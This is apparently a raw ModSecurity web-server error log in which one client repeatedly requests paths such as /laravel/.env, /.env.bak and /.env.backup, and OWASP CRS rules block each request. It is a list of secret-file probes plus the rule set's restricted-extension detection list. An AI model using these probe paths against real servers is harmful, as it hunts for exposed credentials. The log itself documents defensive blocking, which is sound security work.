[Wed Feb 19 05:51:49.381431 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrAAAAAM&quot;]
[Wed Feb 19 05:51:49.381823 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrAAAAAM&quot;]
[Wed Feb 19 05:51:49.382362 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrAAAAAM&quot;]
[Wed Feb 19 05:51:49.405633 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrQAAAAM&quot;]
[Wed Feb 19 05:51:49.406012 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrQAAAAM&quot;]
[Wed Feb 19 05:51:49.406501 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrQAAAAM&quot;]
[Wed Feb 19 05:51:49.429595 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrgAAAAM&quot;]
[Wed Feb 19 05:51:49.429976 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrgAAAAM&quot;]
[Wed Feb 19 05:51:49.430449 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrgAAAAM&quot;]
[Wed Feb 19 05:51:49.453599 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrwAAAAM&quot;]
[Wed Feb 19 05:51:49.453972 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrwAAAAM&quot;]
[Wed Feb 19 05:51:49.454648 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywrwAAAAM&quot;]
[Wed Feb 19 05:51:49.477399 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.project&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.project&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsAAAAAM&quot;]
[Wed Feb 19 05:51:49.477786 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.project&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsAAAAAM&quot;]
[Wed Feb 19 05:51:49.478282 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.project&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsAAAAAM&quot;]
[Wed Feb 19 05:51:49.501364 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsQAAAAM&quot;]
[Wed Feb 19 05:51:49.501735 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsQAAAAM&quot;]
[Wed Feb 19 05:51:49.502196 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsQAAAAM&quot;]
[Wed Feb 19 05:51:49.532998 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsgAAAAM&quot;]
[Wed Feb 19 05:51:49.533413 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsgAAAAM&quot;]
[Wed Feb 19 05:51:49.533918 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywsgAAAAM&quot;]
[Wed Feb 19 05:51:49.658658 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtgAAAAM&quot;]
[Wed Feb 19 05:51:49.658944 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtgAAAAM&quot;]
[Wed Feb 19 05:51:49.659291 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtgAAAAM&quot;]
[Wed Feb 19 05:51:49.659755 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtgAAAAM&quot;]
[Wed Feb 19 05:51:49.683221 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtwAAAAM&quot;]
[Wed Feb 19 05:51:49.683505 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtwAAAAM&quot;]
[Wed Feb 19 05:51:49.683854 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtwAAAAM&quot;]
[Wed Feb 19 05:51:49.684345 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.config&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywtwAAAAM&quot;]
[Wed Feb 19 05:51:49.708736 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuAAAAAM&quot;]
[Wed Feb 19 05:51:49.709092 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id 